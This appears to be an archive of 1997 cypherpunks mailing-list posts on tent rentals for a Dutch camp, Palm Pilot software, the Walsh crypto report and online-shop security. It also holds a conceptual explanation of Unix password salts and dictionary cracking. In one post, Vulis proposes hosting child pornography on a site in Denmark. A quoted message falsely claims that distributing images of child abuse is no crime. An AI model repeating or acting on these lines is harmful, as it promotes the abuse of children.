>I wonder if you could please tell me where to obtain
>(hire or buy) tents near Amsterdam in early August
>for a camp near Almere.
>
>10 man army style tents may suit us best.
>
>If you can pass on details of any tent shops or
>hire shops that would be very useful.  Payment will
>probably be by credit card.
>
>Thanks much.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc.briceno@usa.net>
Date: Tue, 15 Jul 1997 13:37:00 +0800
To: cypherpunks@Algebra.COM
Subject: Electronic commerce has long way to go
Message-ID: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



After watching Ian Goldberg's demo of all the neat things one can do on an
US Robotics Palm Pilot PDA, I decided to purchase such a device.

I headed to USR's website. The Pilot Pro is listed for $399. Always looking
for a bargain, I headed to Yahoo and quickly found several "best deal"
search engines. Some were better, some were worse, but they all pointed me
to a number of suppliers selling the Pilot Pro for as little as $339. A $60
savings over list or my local CompUSA store. Below is my experience with
the sites. The sites are listed in increasing order of amount charged for
the same item.

1. No online ordering. Call us during regular East Cost business hours.
2. No online ordering. No times are given.
3. Has online ordering. CC# is sent unencrypted.
4. Has online ordering and a link to a secure server. Link is stale.
5. Has online ordering and a link to a secure server. Link times out.

Guess I'll just swing by the CompUSA in the morning.

This is pathetic,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 14:54:41 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Twilight Zone Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <199707111954.VAA02222@basement.replay.com>
Message-ID: <3.0.2.32.19970714230754.02fba77c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>>   Sometimes I feel like the guy on the plane in the "Twilight Zone"
>> movie, who is the only one who can see the monster on the plane's
>> wing that is endangering everyone's life. 
>
>Small question: I seem to remember this film, is it the small green 
>monster which keeps dancing and fucking with the planes engines?

You've been caught by advancing technology.  In the movie version,
the monster was green and scary-looking.  In the original TV episode,
with William Shatner as the armed passenger on the plane,
the monster looked like a man in a cheap white gorilla suit :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 12:32:50 +0800
To: cypherpunks@toad.com
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <uJ7u0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <root@nwdtc.com> writes:
> Making Imaginary Sex Illegal
>
> by Ashley Craddock
> 12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
> involve children? Logic would say no, but adherence to the rules of
> reason has never been a hallmark of the United States Congress,
> particularly when it comes to hot-button issues like child protection.

This has zero crypto-relevance, so I'll rant about the movies instead.

Some folks on this list may have heard of the book _Lolita by Vladimir
Nabokov, and/or seen the movie (directed I think by Stanley Kubrik circa
1965).  A couple of years ago someone remade the movie using a 14-year-old
actress.  Naturally, there was no sex.  Nevertheless every U.S. ditributor
refused to distribute the movie expressing the fear of being charged with
child pornography.

And of course you heard that _The Tin Drummer_, the German movie that won
the Oscar a couple of years ago, was seized in Oklahoma as being child porn.

Has anyone _not_ see _The Bridge over the River Kwai_? Did you know that
the sequel, _The Return to the River Kwai_, fairly successful in most countries
outside the U.S., was never released in the U.S. (in theaters or on tape),
perhaps because Sony owns the rights in the U.S. and found the movie
offensive to the Japs? (Wait a minute, that's not child porn...)

ObHack: Isn't child porn legal in some European countries? How about setting
up a (free) Web site someplace like Denmark with pictures that are illegal
in the U.S.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 12:32:53 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Pine.LNX.3.93.970715081542.104F-100000@shirley>
Message-ID: <437u0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> >
> > > Porn4porn infact confess that thats [...Spamming to destroy free
> > > porn...] what thay are doing.
>
> > I wish there were a technical solution to make Usenet immune to such
> > sabotage wihout abridging free speech.
>
> (? the Platypus looks up from the reams of perl code he is writing)
>
> Dimitri what do you think NoCeMs are then?

Sigh. I've experimented with "hide" NoCeMs for traffic that in my opinion
was off-topic in certain badly infested newsgroups, and wasn't quite happy.
If the saboteur posts 10,000 junk articles that must be distributed
before the NoCeMs are issued and applied, then he has succeeded in
causing damages. "Hide" NoCeMs work fine against plan old "spam" (multi-
posting a few articles), but not against deliberate flooding with tens
of thousands of articles.

A better idea might be "select" NoCeMs first suggested by the CancelMoose,
but not implemented in any reader I know.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 15:34:25 +0800
To: kris carlier <root@krisnix.iguana.be>
Subject: Re: Campingsport Amsterdam
In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970715001745.0069eacc@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:58 AM 7/15/97 +0200, kris carlier wrote:
>we're going there too, and one of the things we wondered was whether it
>might have been possible to hire a tent *locally*. I can get tents all
>right, but the biggest problem is transportation. I surely hope that in
>case you're going to rent one of their tents, delivery and pick-up is
>included.

Amsterdam isn't all that far from the camp site and you can always make a
run there. I rented one of the 10x5 meter army tents used for the San
Francisco Bay Area delegation from

Purmerend
Beemsterbugwal 12  (++ 31 299 420999)

The tent is 250FL, deposit is 750FL for a total of 1000FL.

See you all in Amsterdam,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 15 Jul 1997 07:34:40 +0800
To: cypherpunks@toad.com
Subject: Re: law as enemy: was Re: Jim Bell reference
Message-ID: <199707142311.BAA24145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Antonomasia wrote: 
> Paul Bradley wrote: 
> Ant>                 Makes me think the issue is the preservation of many
> Ant> thousands of _unathorised_ taps.  What else could explain that viewpoint?
> 
> PB> Don`t cloud the issue: The simple fact is strong encryption can and will
> PB> obstruct law enforcement agencies in their "fight" against terrorism,
> PB> child pornography, drugs etc... good.

  You are both right. 
  Strong crypto will obstruct LEA's from doing the *millions* of
unauthorized taps on communications in their "holy war" against 
?crime?.

> Strong widespread crypto will cut down on much crime in the form of
> electronic theft, blackmail etc.  I expect some obstruction of law
> enforcement, but not enough to outweigh the benefits.

  Strong crypto will merely shift the nature of crimes being commited
from LEA-originated to criminal-originated, which is the way God has
planned it to be from the beginning.
  If we are going to play good-guy/bad-guy, there ought to be a real
difference between the two. Kids on a playground know that much.

>  Despite the
> occasionally glaring failures of a legal system it is still overall
> of use to the public.

  Attitudes like this are the cause of the erosion of our freedom and
privacy. 
  "Give me compromise of freedom or give me death." <WRONG> 
  "It is better for ten innocent men to be convicted than for one
guilty child molester to go free." <WRONG>
  Why do we never hear anyone saying "Sure, the legal system just
fucked me silly and unjustly ruined my life, but it is 'still overall
of use to the public'."? The reason is that a roll of the dice isn't
good enough when it comes to *ourself* receiving justice.
  Anyone who is comfortable for a roll of dice to decide the justice
received by *the other guy* is a fool and your enemy.

> PB> Would you then say their actions were wrong? As for child molestation,
> PB> this is a clear cut case, most libertarians follow the basic rule that a
> PB> crime has to be a direct act of agression, and infringe the rights of
> PB> another person, therefore child molestation clearly comes into this
> PB> category, distributing pictures of children being molested, raped,
> PB> buggered, tortured and killed is clearly not a crime. Please clarify your
> PB> position on this.
> 
> Such photography would suggest at least cooperation with
> those you'd regard as criminals.

  Bullshit. The current hot-ticket item in Canada is video of the girls
being tortured, raped and murdered by Paul Bernardo. These videos are
coming from the people involved in his prosecution and imprisonment.
  Are the TV networks cooperating with criminals by profiting from the
pictures of the OKC bombing, etc? Their extensive coverage certainly
makes such actions a good public forum for the potential terrorist.

> PB> law
> PB> enforcement should be routinely obstructed as often as possible.
> 
> Are you going to post your home address and holiday plans on the list
> so we give you the chance to gloat over failing law enforcement ?

  I have no doubt that Paul would love to do so, if it weren't for the
fact that he would be subjected to imprisonment and lawsuits if he took
action to protect his home and property from intruders during his 
absence and some ignorant thief got himself hurt or killed.

  Legislators and LEA's bemoan the fact that the constitution ties
their hands in fighting crime, but the fact is that they are creating
a mountain of new crimes through legislation and stings instead of
putting their effort into dealing with real, existing crime.
  Miscarriage of justice is the rule of the day in the current legal
system. The fact that the reins of power and control of the media is
not in the hands of the poor, minorities, and social outcasts means
that those who are busy participating in and/or supporting the gross
miscarriages of justice are those who paint the system's public face.

> There's probably not much point in pursuing this discussion.

  Not as long as you willing to settle for corruption of justice and
the compromise of freedom being justifiable as being of "overall of
use to the public."
  I don't choose to sell my weapons and walk around with a "kick me"
sign on my back, trusting in strangers to defend my life and liberty.
I resent those who choose to do so intimating that I am some kind of
lunatic/radical for choosing to take personal responsibility for
defending my life, liberty and beliefs.

  I am not against joining with others in forming organizations which
are of mutual benefit to all. I am merely against these organizations
being in the hands of self-serving criminals who want control over
all of my movement and communication in order to guard their usurped
power.
  I am willing to defend myself, my neighbors, my country. I am not
willing to defend a corrupt system which imperils the freedom and
privacy of myself and my fellow citizens.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 15 Jul 1997 06:43:59 +0800
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Fe6T0D1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970715042701.104A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Conspiracy theory: do you think the spammers are flooding the "free"
> sources of good stuff (such as usenet) to eliminate the competition,
> so people would have to pay them for same?

Porn4porn infact confess that thats what thay are doing.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 19:41:44 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the Usenet Cabal
In-Reply-To: <Pine.LNX.3.91.970713111822.728B-100000@fatmans.demon.co.uk>
Message-ID: <RaqV0D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > ObCrypto: I was offered a 76GB changer for $350.  I thought of the followin
> > demo application: a user e-mails a piece of a Unix passwd file (password+sa
> > to a server, which looks up a password that works.  Problem is, 76GB doesn'
> > seem sufficient for the lookup table. :-( (Assume infinite time available
> > on a fast box.)
>
> I have to confess ignorance over the form of the password in the unix
> passwd file, how much salt is used, does it vary from ?nix to ?nix or is it
> pretty standard? Maybe a small(ish) lookup table/ dictionary attack could
> be mounted using this.

Suppose that 'foo' is a valid password for the account 'bar'. Unix computes
crypt(3)[similar to DES] using 8 bytes of zeros as the plaintext and the
password (56 bits) and the 'salt' (the 12-bit time-stamp of when the
password is set) as the key. Then it stores the salt and the (64-bit) result
of crypt, often in a place where regular users can read it.

When some program wants to verify that 'baz' is indeed a password for 'foo',
it extracts the salt and the encrypted string from the password database,
computes crypt(3) of salt (from the database) + the password being tried,
and sees if it matches the encryption result in the database.

This was designed by Robert Morris Sr [who really deserves more fame than
being the father of Robert Morris Jr of the worm fame] and Ken Thompson.

The purpose of the pseudo-random 'salt' is to make sure that if two accounts
have the same password, they'll still have different encryption strings in
the database (almost always).

Thus, given 12+64 bits of input, we want to get the 56 bits of output; and
the vast majority of 12+64 inputs can't happen.

A well-known attack (implemented by widely available programs such as
"crack") is to try various words from a dictionary with the 'salts' used by
the traget account(s) (usually using not the (slow) crypt(3) from the
library, but a highly optimized version of it. [The guy who wrote the
"Camel" Perl book got caught doing this at a place where he worked as a
consultant, and was prosecuted and convicted.]

To prevent dictionary attacks, many sites no longer make the encrypted
strings "easily" available to users; programs must use an API to check if a
supplied password matches. Unix admins call this "password shadowing".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 15 Jul 1997 22:54:05 +0800
To: Bryce <marc.briceno@usa.net>
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
Message-ID: <v03007810aff13df569ae@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:53 AM -0700 7/15/97, Bryce wrote:
>Is there gcc or any other C compiler for Pilot?  (There is not,
>yet, for Newton a publically available C compiler AFAIK.)

I believe at least the Macintosh version of Metroworks supports C cross
compiles for the Pilot.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kris carlier <root@krisnix.iguana.be>
Date: Tue, 15 Jul 1997 14:50:40 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: Campingsport Amsterdam
In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de>
Message-ID: <Pine.LNX.3.95.970715075354.399A-100000@krisnix.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High there,

> People making other arrangements may be interested in this
> tidbit from the NL tourist board.
> 
> Campingsport Amsterdam
> Jan van Galenstraat 271
> 1056 BZ Amsterdam
> tel.: 020-6128911
> fax : 020-6184509

we're going there too, and one of the things we wondered was whether it
might have been possible to hire a tent *locally*. I can get tents all
right, but the biggest problem is transportation. I surely hope that in
case you're going to rent one of their tents, delivery and pick-up is
included. Have you seen a transport-ready armytent already ? ;-) Amsterdam
is only 30' from Almere, by car. You do have a pick-up car don't you ? The
tent won't fit into my regular subaru ;-)

Our biggest cost is for transporting the tent from Belgium to Holland.
Interested in a compartiment ?

kr=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 15 Jul 1997 10:35:39 +0800
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <kTVu0D17w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970715081542.104F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > Porn4porn infact confess that thats [...Spamming to destroy free
> > porn...] what thay are doing.

[...]

> I wish there were a technical solution to make Usenet immune to such
> sabotage wihout abridging free speech.

(? the Platypus looks up from the reams of perl code he is writing)

Dimitri what do you think NoCeMs are then?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 15 Jul 1997 23:50:12 +0800
To: cypherpunks@toad.com
Subject: If you build it, they will con, from the Netly News
Message-ID: <Pine.GSO.3.95.970715083752.2798C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 08:37:30 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: If you build it, they will con, from the Netly News


************

http://pathfinder.com/netly/opinion/0,1042,1168,00.html

The Netly News (http://netlynews.com)                                           
July 15, 1997 
             
If You Build It, They Will Con
by Declan McCullagh (declan@well.com)
   
        Perhaps the thinking behind DefCon went something like this: Lure
   hundreds of hackers to Las Vegas in the middle of the summer, ply them
   with cheap beer, talk about packet sniffing, and observe. Last year
   the result was self-organizing chaos, capped by an event where the
   hired strippers were upstaged by a band of exhibitionist
   conferencegoers. "The pimp was like, 'Oh my God,'" says Dark Tangent,
   DefCon's organizer.

        Last weekend's fifth annual DefCon may have been a little less
   raucous, but it was no less important as a place where hackers from
   around the world gather to socialize, gamble -- and glance around
   furtively trying to spot the government agents who infiltrate the
   convention. (Bonus: If you guess correctly, you can take a prized "I
   Spotted the Fed" T-shirt home with you.)

[...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 00:08:27 +0800
To: cypherpunks@toad.com
Subject: Australia's restricted Walsh crypto-report attracts interest
Message-ID: <Pine.GSO.3.95.970715085322.2798G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 08:52:51 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Australia's restricted Walsh crypto-report attracts interest

The report's at:
  http://www.efa.org.au/Issues/Crypto/Walsh/

Also, I understand from participants in the Canberra meeting that U.S. 
performance there was lackluster at best. 

-Declan

*********

http://www.australian.aust.com/computer/fulltext/c0715d.htm

Censored report on the Web 
By STEVE CREEDY 
   
   July 15: The encryption report the Federal Government did not want
   Australians to read is already attracting overseas interest after just
   one week on the Web.
   
   A censored version of the Walsh Report on cryptography was obtained
   under the Freedom of Information Act and has been posted online by
   Electronic Frontiers Australia.
   
   The report, originally slated to be published earlier this year, had
   been withheld by federal Attorney-General Daryl Williams.
   
   EFA officials, worried the Government would formulate an encryption
   policy without debate, posted the report.
   
   The move came as international experts met in Canberra last week for
   closed-door discussions on cryptography.
   
   The report advises against major legislation to safeguard security and
   law enforcement interests.
   
   It proposes "minor legislative and other actions", including updating
   existing telecommunications and search laws, as well as a more
   co-ordinated approach by government to cryptography.
   
   It does not support US proposals for tackling the issues, including
   law to require decoding keys be stored with the Government.
   
   EFA cryptography committee chairman Greg Taylor said overseas interest
   was particularly strong from the US where there has been a
   long-standing debate on how to balance privacy, police and security
   issues when legislating on encrypted communications.
   
   Concern in Australia focused on whether the Government would present a
   cryptography policy without debate.
   
   "We're trying to make sure there is debate about all the issues and
   submissions from interested parties &#150; commercial, government and
   private interests," he said.
   
   But a spokesman for the Attorney-General said on Sunday the Government
   was formulating a policy and that there was scope for public input.
   
   "There will be, as a matter of course, some sort of announcement," he
   said. "That allows people to have input."
   
   The move to post the report was welcomed by its author, former ASIO
   deputy director-general Gerard Walsh, who said his work was for debate
   and he did not know why it had been withheld by the Attorney-General,
   who had cited "security issues".
   
   The spokesman said the document "was not suitable for discussion for
   the development of policy in the encryption area and, therefore, was
   not suitable for public release".
   
   However, Mr Walsh said he wrote two versions, one for public
   consumption and one that was "mildly classified".
   
   "Because there was going to be a public version, I did speak with
   interested parties and invited them to have a look and comment on the
   report in draft form," he said.
   
   "As I left it and as I understood it, all were content with it going
   public but someone must have had a change of heart."
   
   The version posted by EFA is the one intended for public discussion
   with an estimated 20 to 25 paragraphs deleted.
   
   Mr Taylor said it was posted with government permission.
   
   "The Attorney-General's [department] said they couldn't do much about
   it anyway," he said.
   
   The censored paragraphs fell under sections of the FOI Act relating to
   internal working documents, law enforcement issues and issues of
   national security.
   
   He did not know what was contained in the deleted paragraphs.
   
   Mr Taylor said Mr Walsh found the situation "quite laughable". The
   Walsh report was probably one of the first balanced reviews of the
   cryptography issue.
   
   "All existing reports are either prepared by government and come down
   heavily on one side, or they're prepared by groups that basically look
   at privacy," he said.
   
   "This one looks at all issues and as result of analysing them appears
   to state the whole concept of key escrow is doomed to failure."
   
   Mr Walsh concluded government should not commit to a particular
   solution because the problem itself "will continue to change".
   
   US attempts to regulate encryption &#150; including the clipper chip,
   key escrow and key management &#150; were "public relations and
   practical disasters".
   
   Blanket bans that limited access to services and equipment to achieve
   access for law enforcement agencies were not in the national interest.
   
   "I agree there is a law enforcement required access, but the way in
   which you achieved it was not to belt the little hazelnut with an
   almighty steam press that diminished everyone's freedom," he said.
   
   "Rather, the direction in which I wanted to push things was to say:
   'It would be better to slightly stiffen, strengthen and make more
   relevant those somewhat anachronistic investigative powers that
   already exist'."

###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 16 Jul 1997 00:17:16 +0800
To: bryce@digicash.com
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <199707151053.MAA17126@digicash.com>
Message-ID: <199707151607.JAA18987@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Bryce writes:
> 
> 
> > After watching Ian Goldberg's demo of all the neat things one can do on an
> > US Robotics Palm Pilot PDA, I decided to purchase such a device.
> 
> 
> Hm.  I have already sent out e-mails to on-line merchants 
> asking if I can order a Newton, because I've heard from several
> people that Newton has a superior user interface, and I know 
> that its CPU is super fast.
> 
> 
> Unfortunately there is not yet any PGP or Ecash for Newton 
> publically available.
> 
> 
> How about for Pilot?
> 
> 
> Is there gcc or any other C compiler for Pilot?  (There is not,
> yet, for Newton a publically available C compiler AFAIK.)


There's a GCC development environment for the Pilot that
runs under Linux.   Also packages for synching, logging in from
the Pilot to unix, perl tools, assemblers, disassemblers, and
about 400 other things.

Check out http://www.inforamp.net/~adam/pilot/ for info.

It's pretty cool how much stuff is available for the pilot.  It's
too bad that I need either a full workstation with all the trimmings, or
just a pen and a (paper) notebook.

 
> What _are_ the cool things Ian Goldberg can do with a Pilot, 
> anyway?

SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
http://www.isaac.cs.berkeley.edu/pilot/



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 16 Jul 1997 01:20:25 +0800
To: Eric Murray <bryce@digicash.com
Subject: Re: hand-held computers Re: Electronic commerce has long way to go
In-Reply-To: <199707151053.MAA17126@digicash.com>
Message-ID: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:07 AM 7/15/97 -0700, Eric Murray wrote:
>> What _are_ the cool things Ian Goldberg can do with a Pilot, 
>> anyway?
>
>SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
>http://www.isaac.cs.berkeley.edu/pilot/

Even better, the Pilot is about the same size as the new Ricochet wireless
modem. Keeping the modem in your pocket and the Pilot in your hand, you can
run Emacs over SSH from anywhere in the Bay Area.

For the GUI addicts, Ian's team just wrote a browser for the Pilot. In all
fairness, the browser for the Pilot does not interpret the HTML, but relies
on a proxy on the network to do much of the work.

But here is a device that is smaller and lighter than my wallet. A device
that gives me Emacs, a graphical web browser, and a contact manager and
scheduler that syncs with my scheduler at work. All wireless from anywhere
in the area. Did I mention that it has an Indiglo screen?

I'm sold,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Wed, 16 Jul 1997 01:44:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Making Imaginary Sex Illegal
Message-ID: <9707151736.AA27385@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




Alan Olsen writes:
> http://www.wired.com/news/news/politics/story/5153.html

> Making Imaginary Sex Illegal

> by Ashley Craddock
> 12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
> involve children? Logic would say no, but adherence to the rules of
> reason has never been a hallmark of the United States Congress,
> particularly when it comes to hot-button issues like child protection.
> [...]

It's even less of a hallmark of the Canadian government; we've had this
sort of thing for a while.  From the Electronic Frontier Canada archives:

>1. R. v. Pecciarich (sentencing) [1995] O.J. No. 2238
>        http://www.efc.ca/pages/law/court/R.v.Pecciarich-sentence.html
>
>   This summarizes the penalty (2 years probation, with various conditions)
>   given to Canada's first person convicted of computerized kiddie porn.

Apparently he was convicted on obscenity charges for scanning in and
modifying pictures from department store catalogs.  However, he was
acquitted of distribution because it couldn't be proven that he did the
actual uploading.  (The lesson being, don't digitally sign all of your
outgoing traffic automatically?)

>2. Lawyer's Weekly - Pecciarich case
>        http://www.efc.ca/pages/media/lawyers-weekly.23jun95.html
>
>   Here's what the lawyer's said amongst themselves about
>   the Pecciarich decision.

tzeruch@ceddec.com, or maybe nobody@mars.ceddec.com, writes:
>If "computer-simulated" images are legal, how can you tell that it is
>computer simulated?  Everyone will then claim to be a talented artist, or
>use reverse aging algorithms on adult porn photos, or [...]

That's a good point, and will almost certainly come up in someone's
defence arguments sooner or later.

The cypherpunkish answer, I believe, would be to say that images of any
sort should not be illegal, but the means by which they were produced
may be.  In other words, do what you want on your computer, as long as
you leave real kids alone.

Of course, actual laws on the subject will bear no resemblance to the
CPish solution...

MJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 16 Jul 1997 03:04:45 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way   togo
In-Reply-To: <199707151607.JAA18987@slack.lne.com>
Message-ID: <v03102803aff174e7e285@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>At 09:07 AM 7/15/97 -0700, Eric Murray wrote:
>>> What _are_ the cool things Ian Goldberg can do with a Pilot,
>>> anyway?
>>
>>SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff.
>>http://www.isaac.cs.berkeley.edu/pilot/
>
>Even better, the Pilot is about the same size as the new Ricochet wireless
>modem. Keeping the modem in your pocket and the Pilot in your hand, you can
>run Emacs over SSH from anywhere in the Bay Area.

For those outside of Metricom's coverage areas, NovaTel Wireless
http://www.novatelwireless.com is introducing a CDPD modem specifically
designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas
is now available.  List price is expected to be $ 399. and deliveries are
scheduled to begin in late summer.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 16 Jul 1997 03:06:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <19970715115457.07611@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote:
> But to return to the cypher aspect, what about altering existing images so
> that they are unidentifiable as to whether they are from real acts or
> truly the products of an imagination.  Will we now need someone from the
> government to certify the kiddie porn isn't real?

Yes, that's the logical next step -- Government Approved Porn (GAP).  
Perhaps we could get Senator Hatch to sponsor a bill?

The constitutional implications are staggering.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shane_Nifong@stratus.com
Date: Wed, 16 Jul 1997 00:14:44 +0800
